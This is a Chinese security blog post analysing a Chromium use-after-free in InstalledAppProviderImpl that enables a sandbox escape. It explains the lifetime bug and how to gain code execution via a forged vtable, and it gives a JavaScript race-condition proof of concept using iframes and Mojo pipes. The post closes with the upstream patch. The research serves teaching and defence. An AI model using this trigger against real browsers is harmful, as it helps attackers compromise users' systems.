引言
case study: RenderFrameHost lifetime cause sandbox escape
// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};
// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
=> (array<RelatedApplication> installed_apps);
};
//content/browser/renderer_host/render_frame_host_impl.h
class CONTENT_EXPORT RenderFrameHostImpl
: public RenderFrameHost,
...
// BrowserInterfaceBroker implementation through which this
// RenderFrameHostImpl exposes document-scoped Mojo services to the currently
// active document in the corresponding RenderFrame.
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
this};
// content's implementation of the BrowserInterfaceBroker interface that binds
// interfaces requested by the renderer. Every execution context type (frame,
// worker etc) owns an instance and registers appropriate handlers (see
// internal::PopulateBinderMap).
// Note: this mechanism will eventually replace the usage of InterfaceProvider
// and browser manifests, as well as DocumentInterfaceBroker.
template <typename ExecutionContextHost, typename InterfaceBinderContext>
class BrowserInterfaceBrokerImpl : public blink::mojom::BrowserInterfaceBroker {
public:
BrowserInterfaceBrokerImpl(ExecutionContextHost* host) : host_(host) {
internal::PopulateBinderMap(host, &binder_map_);
internal::PopulateBinderMapWithContext(host, &binder_map_with_context_);
}
map->Add
来向broker里注册适当的handlers回调,由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例,所以当此实现收到来自render的GetInterface方法调用时,它将调用这个回调,例如当通过bindinterface来请求调用一个interface的时候,void PopulateFrameBinders(RenderFrameHostImpl* host,
service_manager::BinderMap* map) {
...
map->Add<blink::mojom::InstalledAppProvider>(
base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
base::Unretained(host)));
...
}
void RenderFrameHostImpl::CreateInstalledAppProvider(
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
std::move(receiver));
}
render_frame_host_
对象,其来自传入的render_frame_host
指针,但是并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定,一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期,当renderframehost析构的时候会通知Impl做出正确的处理,但这里没有。InstalledAppProviderImpl::InstalledAppProviderImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host) {
DCHECK(render_frame_host_);
}
...
void InstalledAppProviderImpl::FilterInstalledApps(
std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
const GURL& manifest_url,
FilterInstalledAppsCallback callback) {
if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
return;
}
...
}
render_frame_host_
,而render_frame_host_->GetProcess()
是一个虚函数调用,通过占位render_frame_host来伪造虚函数表,我们就可以任意代码执行。
poc如下:
-
parent先创建出几个child iframe,从而创建出多个
render_frame_host
-
然后另其bind到name为InstalledAppProvider的接口,从而创建一个InstalledAppProviderImpl,其生命周期和message pipe绑定。
-
创建好pipe之后,反复调用filterInstalledApps,堵塞住mojo消息管道。
-
最后从parent删除child iframe,从而释放掉对应的RenderFrameHost,但对应的InstalledAppProviderImpl仍然存在。
-
虽然child iframe被移除后,iframe里的pipe句柄也会被破坏掉,从而造成message pipe connection error,将InstalledAppProviderImpl释放。
-
但只要在处理connection error之前,我们之前大量调用堵塞住mojo消息管道的filterInstalledApps有一次被执行,就会造成UAF了。
-
这是一个很典型的race condition poc,尽管可以通过其他方式将child iframe的pipe端交给parent,从而不用使用race的方式稳定的触发漏洞,但是限于篇幅,不过多叙述。
-
function allocate_rfh() {
var iframe = document.createElement("iframe");
iframe.src = window.location + "#child"; // designate the child by hash
document.body.appendChild(iframe);
return iframe;
}
function deallocate_rfh(iframe) {
document.body.removeChild(iframe);
}
if (window.location.hash == "#child") {
var ptrs = new Array(4096).fill(null).map(() => {
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1);
return new blink.mojom.InstalledAppProviderPtr(pipe.handle0);
});
setTimeout(() => ptrs.map((p) => {
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
p.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
}), 2000);
} else {
var frames = new Array(4).fill(null).map(() => allocate_rfh());
setTimeout(() => frames.map((f) => deallocate_rfh(f)), 15000);
}
setTimeout(() => window.location.reload(), 16000);
漏洞补丁
-class InstalledAppProviderImpl : public blink::mojom::InstalledAppProvider {
+class InstalledAppProviderImpl : public blink::mojom::InstalledAppProvider,
+ public content::WebContentsObserver {
public:
explicit InstalledAppProviderImpl(RenderFrameHost* render_frame_host);
static void Create(
@@ -30,8 +32,11 @@
const GURL& manifest_url,
FilterInstalledAppsCallback callback) override;
+ // WebContentsObserver
+ void RenderFrameDeleted(RenderFrameHost* render_frame_host) override;
+
private:
- RenderFrameHost* const render_frame_host_;
+ RenderFrameHost* render_frame_host_;
};
...
+void InstalledAppProviderImpl::RenderFrameDeleted(
+ RenderFrameHost* render_frame_host) {
+ if (render_frame_host_ == render_frame_host) {
+ render_frame_host_ = nullptr;
+ }
+}
class A extends BObserver {
...
A(B* b) {
b_ = b;
b_->AddObserver(this);
}
~A() {
if (b_) {
b_->RemoveObserver(this);
}
}
void OnBDestroyed(B* b) {
if (b == b_) {
b_ = nullptr;
}
}
B* b_
}
class B {
...
~B() {
for (BObserver* observer : observers_) {
observer->OnBDestroyed(this);
}
}
vector<BObserver*> observers_
}
render_frame_host
的观察者队列里,从而在render_frame_host
析构的时候被通知,将其指针置为null,从而避免了use到已经被释放的render_frame_host。
end
ChaMd5 ctf组 长期招新
尤其是crypto+reverse+pwn+合约的大佬
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论